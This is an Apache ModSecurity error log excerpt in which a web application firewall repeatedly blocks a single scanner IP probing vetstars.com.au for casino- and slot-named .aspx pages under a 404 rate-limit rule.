[Sat Feb 14 21:04:57.220405 2026] [:error] [pid 36056:tid 36077] [client 51.83.237.175:45012] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZBy-bv3wQbSPS1vpOgfvQAAABM"]
[Sat Feb 14 21:04:58.205437 2026] [:error] [pid 26150:tid 26169] [client 51.83.237.175:45018] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aZBy-qqmPH3D5QJaUSHSYwAAAI8"]
[Sat Feb 14 21:04:59.907080 2026] [:error] [pid 53979:tid 54006] [client 51.83.237.175:35330] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aZBy-4fb_0QPnk6UIuNW2QAAAZc"]
[Sat Feb 14 21:05:00.398791 2026] [:error] [pid 36219:tid 36259] [client 51.83.237.175:35342] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZBy_Je-m2OpEy0FNjhcpQAAA4s"]
[Sat Feb 14 21:05:00.722546 2026] [:error] [pid 53980:tid 54011] [client 51.83.237.175:35326] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZBy_NposYBT7xU8oxTHJAAAAsE"]
[Sat Feb 14 21:05:01.642736 2026] [:error] [pid 50339:tid 50378] [client 51.83.237.175:35348] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aZBy_cI6TclQ9GOl2Y15zwAAAgg"]
[Sat Feb 14 21:05:02.495944 2026] [:error] [pid 50339:tid 50391] [client 51.83.237.175:35362] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aZBy_sI6TclQ9GOl2Y150QAAAhU"]
[Sat Feb 14 21:05:03.656529 2026] [:error] [pid 53979:tid 54005] [client 51.83.237.175:35370] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZBy_4fb_0QPnk6UIuNW2gAAAZY"]
[Sat Feb 14 21:05:04.698143 2026] [:error] [pid 53980:tid 54022] [client 51.83.237.175:35388] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZBzANposYBT7xU8oxTHKAAAAsw"]
[Sat Feb 14 21:05:05.091942 2026] [:error] [pid 39456:tid 39495] [client 51.83.237.175:35384] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZBzAYKeIqKLynHIGnjb_QAAAkk"]
[Sat Feb 14 21:05:05.228034 2026] [:error] [pid 50339:tid 50387] [client 51.83.237.175:35390] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZBzAcI6TclQ9GOl2Y151QAAAhE"]
[Sat Feb 14 21:05:07.263612 2026] [:error] [pid 39456:tid 39501] [client 51.83.237.175:35396] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aZBzA4KeIqKLynHIGnjcBQAAAk8"]
[Sat Feb 14 21:05:07.775829 2026] [:error] [pid 36056:tid 36077] [client 51.83.237.175:36578] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZBzA7v3wQbSPS1vpOgfxAAAABM"]
[Sat Feb 14 21:05:07.789707 2026] [:error] [pid 36219:tid 36261] [client 51.83.237.175:36568] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZBzA5e-m2OpEy0FNjhcqAAAA40"]
[Sat Feb 14 21:05:08.332788 2026] [:error] [pid 53979:tid 53999] [client 51.83.237.175:36588] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZBzBIfb_0QPnk6UIuNW3AAAAZA"]
[Sat Feb 14 21:05:08.759964 2026] [:error] [pid 50339:tid 50380] [client 51.83.237.175:36598] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZBzBMI6TclQ9GOl2Y152AAAAgo"]
[Sat Feb 14 21:05:09.064980 2026] [:error] [pid 39456:tid 39497] [client 51.83.237.175:36590] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZBzBYKeIqKLynHIGnjcCgAAAks"]
[Sat Feb 14 21:05:22.481835 2026] [:error] [pid 39454:tid 39459] [client 51.83.237.175:42764] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZBzEof01uYc0DFDtzvYJwAAAcA"]
[Sat Feb 14 21:05:23.156754 2026] [:error] [pid 53981:tid 54054] [client 51.83.237.175:36600] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZBzE9Gxz-sjlGLnWnvSOwAAA1E"]
[Sat Feb 14 21:05:23.582498 2026] [:error] [pid 53979:tid 53996] [client 51.83.237.175:42768] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1234%20superslot.aspx"] [unique_id "aZBzE4fb_0QPnk6UIuNW5QAAAY0"]
[Sat Feb 14 21:05:24.253969 2026] [:error] [pid 53980:tid 54026] [client 51.83.237.175:42778] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/168%20slot.aspx"] [unique_id "aZBzFNposYBT7xU8oxTHOAAAAtA"]
[Sat Feb 14 21:05:24.640913 2026] [:error] [pid 53920:tid 53953] [client 51.83.237.175:36614] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZBzFCrmNDNQ_-GD91KCcgAAAUQ"]
[Sat Feb 14 21:05:25.647184 2026] [:error] [pid 26150:tid 26173] [client 51.83.237.175:42788] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZBzFaqmPH3D5QJaUSHScwAAAJM"]
[Sat Feb 14 21:05:26.397479 2026] [:error] [pid 39456:tid 39504] [client 51.83.237.175:36628] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aZBzFoKeIqKLynHIGnjcHgAAAlI"]
[Sat Feb 14 21:05:26.772313 2026] [:error] [pid 53981:tid 54056] [client 51.83.237.175:42798] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/168%20slot.aspx"] [unique_id "aZBzFtGxz-sjlGLnWnvSPwAAA1M"]
[Sat Feb 14 21:05:27.168488 2026] [:error] [pid 36219:tid 36259] [client 51.83.237.175:42804] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZBzF5e-m2OpEy0FNjhctwAAA4s"]
[Sat Feb 14 21:05:28.998054 2026] [:error] [pid 26150:tid 26166] [client 51.83.237.175:45404] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/24th%20slot.aspx"] [unique_id "aZBzGKqmPH3D5QJaUSHSdAAAAIw"]
[Sat Feb 14 21:05:29.000865 2026] [:error] [pid 53980:tid 54027] [client 51.83.237.175:45390] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZBzGNposYBT7xU8oxTHOwAAAtE"]
[Sat Feb 14 21:05:29.072383 2026] [:error] [pid 53980:tid 54032] [client 51.83.237.175:45412] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZBzGdposYBT7xU8oxTHPAAAAtY"]
[Sat Feb 14 21:05:30.044882 2026] [:error] [pid 53980:tid 54012] [client 51.83.237.175:45424] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/24th%20slot.aspx"] [unique_id "aZBzGtposYBT7xU8oxTHQQAAAsI"]
[Sat Feb 14 21:05:30.194053 2026] [:error] [pid 53920:tid 53955] [client 51.83.237.175:45426] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZBzGirmNDNQ_-GD91KCdgAAAUY"]
[Sat Feb 14 21:05:30.818859 2026] [:error] [pid 36056:tid 36058] [client 51.83.237.175:45434] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aZBzGrv3wQbSPS1vpOgf1QAAAAA"]
[Sat Feb 14 21:05:31.530928 2026] [:error] [pid 53920:tid 53959] [client 51.83.237.175:45438] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aZBzGyrmNDNQ_-GD91KCfQAAAUo"]
[Sat Feb 14 21:05:32.575640 2026] [:error] [pid 53920:tid 53950] [client 51.83.237.175:45450] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2xl%20slot.aspx"] [unique_id "aZBzHCrmNDNQ_-GD91KCfwAAAUE"]
[Sat Feb 14 21:05:33.212792 2026] [:error] [pid 39456:tid 39503] [client 51.83.237.175:45452] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZBzHYKeIqKLynHIGnjcJAAAAlE"]
[Sat Feb 14 21:05:33.947007 2026] [:error] [pid 26150:tid 26165] [client 51.83.237.175:45458] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZBzHaqmPH3D5QJaUSHSeQAAAIs"]
[Sat Feb 14 21:05:34.459028 2026] [:error] [pid 26150:tid 26168] [client 51.83.237.175:45462] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2xl%20slot.aspx"] [unique_id "aZBzHqqmPH3D5QJaUSHSfQAAAI4"]
[Sat Feb 14 21:05:35.236806 2026] [:error] [pid 50339:tid 50371] [client 51.83.237.175:45466] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZBzH8I6TclQ9GOl2Y158QAAAgE"]
[Sat Feb 14 21:05:35.634293 2026] [:error] [pid 39456:tid 39504] [client 51.83.237.175:45476] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZBzH4KeIqKLynHIGnjcKQAAAlI"]
[Sat Feb 14 21:05:36.486904 2026] [:error] [pid 50339:tid 50370] [client 51.83.237.175:45498] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZBzIMI6TclQ9GOl2Y15-AAAAgA"]
[Sat Feb 14 21:05:36.510767 2026] [:error] [pid 53920:tid 53964] [client 51.83.237.175:45492] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZBzICrmNDNQ_-GD91KCggAAAU8"]
[Sat Feb 14 21:05:37.199335 2026] [:error] [pid 39454:tid 39463] [client 51.83.237.175:45508] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allslot%20wallet.aspx"] [unique_id "aZBzIYf01uYc0DFDtzvYLwAAAcQ"]
[Sat Feb 14 21:05:38.029390 2026] [:error] [pid 36056:tid 36069] [client 51.83.237.175:33182] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aZBzIrv3wQbSPS1vpOgf3AAAAAs"]
[Sat Feb 14 21:05:38.075017 2026] [:error] [pid 36056:tid 36078] [client 51.83.237.175:33174] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allslot%20wallet.aspx"] [unique_id "aZBzIrv3wQbSPS1vpOgf3QAAABQ"]
[Sat Feb 14 21:05:38.649775 2026] [:error] [pid 36056:tid 36063] [client 51.83.237.175:33190] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aZBzIrv3wQbSPS1vpOgf3wAAAAU"]
[Sat Feb 14 21:05:38.847429 2026] [:error] [pid 53920:tid 53954] [client 51.83.237.175:33204] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aZBzIirmNDNQ_-GD91KChQAAAUU"]
[Sat Feb 14 21:05:40.641694 2026] [:error] [pid 50339:tid 50377] [client 51.83.237.175:33216] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "aZBzJMI6TclQ9GOl2Y16AgAAAgc"]
[Sat Feb 14 21:05:40.810015 2026] [:error] [pid 50339:tid 50373] [client 51.83.237.175:33220] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZBzJMI6TclQ9GOl2Y16BAAAAgM"]
[Sat Feb 14 21:05:41.045948 2026] [:error] [pid 39456:tid 39494] [client 51.83.237.175:33224] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZBzJYKeIqKLynHIGnjcRQAAAkg"]
[Sat Feb 14 21:05:41.774959 2026] [:error] [pid 50339:tid 50386] [client 51.83.237.175:33240] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aZBzJcI6TclQ9GOl2Y16BgAAAhA"]
[Sat Feb 14 21:05:42.307719 2026] [:error] [pid 36056:tid 36061] [client 51.83.237.175:33252] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZBzJrv3wQbSPS1vpOgf5AAAAAM"]
[Sat Feb 14 21:05:43.517029 2026] [:error] [pid 36219:tid 36270] [client 51.83.237.175:33260] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "aZBzJ5e-m2OpEy0FNjhcyQAAA5Y"]
[Sat Feb 14 21:05:43.606260 2026] [:error] [pid 36219:tid 36268] [client 51.83.237.175:33276] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZBzJ5e-m2OpEy0FNjhcygAAA5Q"]
[Sat Feb 14 21:05:43.722083 2026] [:error] [pid 53981:tid 54042] [client 51.83.237.175:33272] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZBzJ9Gxz-sjlGLnWnvSVwAAA0U"]
[Sat Feb 14 21:05:44.207500 2026] [:error] [pid 36219:tid 36254] [client 51.83.237.175:33292] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aZBzKJe-m2OpEy0FNjhcywAAA4Y"]
